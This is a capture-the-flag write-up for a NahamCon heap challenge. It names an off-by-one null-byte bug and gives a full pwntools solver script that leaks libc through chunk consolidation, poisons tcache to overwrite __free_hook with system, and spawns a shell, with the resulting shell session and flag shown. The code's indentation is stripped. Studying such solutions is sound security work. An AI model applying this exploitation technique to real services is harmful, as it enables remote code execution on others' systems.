Rating:

### Bug
\
Off-by-one nullbyte at `edit` and `create`.
\
Full solver,

```python
#!/usr/bin/python3

from pwn import *

PATH = './chall'

GDBSCRIPT = ''''''

HOST = 'challenge.nahamcon.com'
PORT = 31385

def debug(gdbscript):
if type(r) == process:
gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])

def choice(command):
r.recvuntil('-------------------------\n')
r.sendline(f'{command}')

def add(idx, size, email):
choice('add')
r.sendlineafter(':\n', f'{idx}')
r.sendlineafter(':\n', f'{size}')
r.sendafter(':\n', email)

def view_all():
choice('print')
r.recvline(0)
out = r.recvline(0)
arr = []
while b'Enter' not in out:
arr.append(out.split(b': ')[-1])
out = r.recvline(0)
return arr

def edit(idx, email):
choice('edit')
r.sendlineafter(':\n', f'{idx}')
r.sendafter(':\n', email)

def delete(idx):
choice('delete')
r.sendlineafter(':\n', f'{idx}')

def exploit(r):
# Prepare free'd chunk size 0x10 for heap struct size 0x10 (contains: email size and email pointer)
add(0, 0x8, 'A'*0x4)
add(1, 0x8, 'A'*0x4)

delete(0)
delete(1)

# tcachebins
# 0x10 [ 4]: 0x5655a190 -> 0x5655a1a0 -> 0x5655a170 -> 0x5655a180 <- 0x0

# Prepare target chunk for consolidate
add(0, 0x8c, 'A'*8)
add(1, 0x9c, 'A'*8)
add(2, 0xfc, 'A'*8)

# Fill-up tcachebins (0x88 / 0x101)
for i in range(7):
add(3+i, 0xfc, 'A'*8)

for i in range(7):
delete(i+3)

# tcachebins
# 0x88 [ 7]: 0x5655aa40 -> 0x5655a930 -> 0x5655a820 -> 0x5655a710 -> 0x5655a600 -> 0x5655a4f0 -> 0x5655a3e0 <- 0x0

# Fill-up tcachebins (0x50 / 0x91)
for i in range(7):
add(3+i, 0x8c, 'A'*8)

for i in range(7):
delete(i+3)

# tcachebins
# 0x50 [ 7]: 0x5655aea0 -> 0x5655ae10 -> 0x5655ad80 -> 0x5655acf0 -> 0x5655ac60 -> 0x5655abd0 -> 0x5655ab40 <- 0x0

delete(0)

# Poisoning nullbyte and set fake prev_size of chunks[1].
edit(1, b'X'*8 + b'\n' + b'X'*0x8f + p32(0xa0 + 0x90))

# Trigger, chunk[0] - chunk[2] will be consolidate.
delete(2)

# Create chunks size 0x88 for gaining information leaks
add(0, 0x8c, 'A'*8 + '\n')
add(2, 0x8c, 'A'*8 + '\n')

for i in range(4, 10):
add(i, 0x8c, 'A'*8 + '\n')

# Now, chunk[1] contains address of main_arena
main_arena = u32(view_all()[1][:4])
libc.address = main_arena - 0x1d57d8

# libc.address = main_arena - 0x1d87d8

print(f'[!] LEAK 0x{main_arena:x}')
print(f'[!] LIBC 0x{libc.address:x}')

# Prepare space of global_email_ptr for tcache-poisoning.
delete(0)
delete(2)

for i in range(4, 10):
delete(i)

# Create chunks with size 0x200, overlap with chunk[1].
add(0, 0x200, 'X'*0x10)

# Free chunks[1]
delete(1)

# Tcache-poisoing, overwrite tcache FD pointer chunk[1] to __free_hook.
edit(0, b'A'*0x8c + p32(0x1a1) + p32(libc.sym['__free_hook']))

# 0xd8 [ 1]: 0x5655a240 -> 0x2aa4b8d0 (__free_hook) <- ...

# Padding and prepare for string "/bin/sh".
add(1, 0x190, '/bin/sh')

# Overwrite `__free_hook` to `__libc_system`
add(2, 0x190, p32(libc.sym['system']))

# pwndbg> tel &__free_hook 1
# 00:0000│ 0x2aa4b8d0 (__free_hook) -> 0x2a8af2e0 (system) ...

# Trigger free("/bin/sh") -> system("/bin/sh") !
delete(1)

# debug(GDBSCRIPT)
'''
$ id
uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
$ ls -l
total 2064
-rwxr-xr-x 1 notroot notroot 9468 Mar 7 03:33 chall
-rw-r--r-- 1 root root 39 Mar 7 03:33 flag_066646e4be1e6ea2.txt
-rwxr-xr-x 1 root root 159956 Mar 7 03:33 ld-linux.so.2
-rw-r--r-- 1 root root 31 Mar 7 03:33 libc.txt
-rwxr-xr-x 1 root root 1926828 Mar 7 03:33 libc6-i386_2.27-3ubuntu1_amd64.so
$ cat flag*
flag{e0ef1723c16102559a07c68e3c956e43}
'''

r.interactive()

if __name__ == '__main__':
elf = ELF(PATH)
libc = ELF('./libc.so.6', 0)

if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process(PATH, aslr=0, env={
'LD_PRELOAD' : './libc.so.6'
})
exploit(r)
```